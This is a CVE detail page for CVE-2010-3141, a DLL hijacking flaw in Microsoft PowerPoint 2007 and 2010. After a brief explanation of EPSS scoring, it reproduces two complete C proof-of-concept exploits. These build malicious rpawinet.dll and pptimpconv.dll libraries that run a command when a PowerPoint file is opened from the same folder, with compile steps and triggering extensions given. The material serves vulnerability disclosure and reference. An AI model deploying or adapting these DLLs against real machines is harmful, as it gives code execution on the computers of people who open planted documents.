CVE-2010-3141 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll) Date: August 25, 2010 Author: storm (storm@gonullyourself.org) Version: 2007 (12.0.6535.5002) SP2 Tested on: Windows Vista SP2 http://www.gonullyourself.org/ gcc -shared -o rpawinet.dll PowerPoint-DLL.c .odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected. */ #include <windows.h> #define DllExport __declspec (dllexport) DllExport void HttpFilterBeginningTransaction() { hax(); } DllExport void HttpFilterClose() { hax(); } DllExport void HttpFilterOnBlockingOps() { hax(); } DllExport void HttpFilterOnResponse() { hax(); } DllExport void HttpFilterOnTransactionComplete() { hax(); } DllExport void HttpFilterOpen() { hax(); } int hax() { WinExec("calc", 0); exit(0); return 0; }

/* Exploit Title: Microsoft PowerPoint 2010 DLL Hijacking Exploit (pptimpconv.dll) Date: 24/08/2010 Author: TheLeader Email: gsog2009 [a7] hotmail [d0t] com Software Link: http://office.microsoft.com/en-us/powerpoint/ Version: 14.0.4760.1000 Tested on: Windows 7 x86 (6.1.7600) Compile and rename to pptimpconv.dll, create a file in the same dir with one of the following extensions: .odp / .pot / .potm / .potx / .ppa / .pps / .ppsm / .ppsx / .ppt / .pptm / .pptx / .pwz / .sldm / .sldx This exploit does _not_ get triggered with the following file extensions: .pothtml / .ppam / .ppthtml / .pptxml / .thmx Double click & watch a nice calculator pop =] *More shouts* to all the great guys at forums.hacking.org.il */ #include <windows.h> #define DLLIMPORT __declspec (dllexport) DLLIMPORT void HrCreateConverter() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; }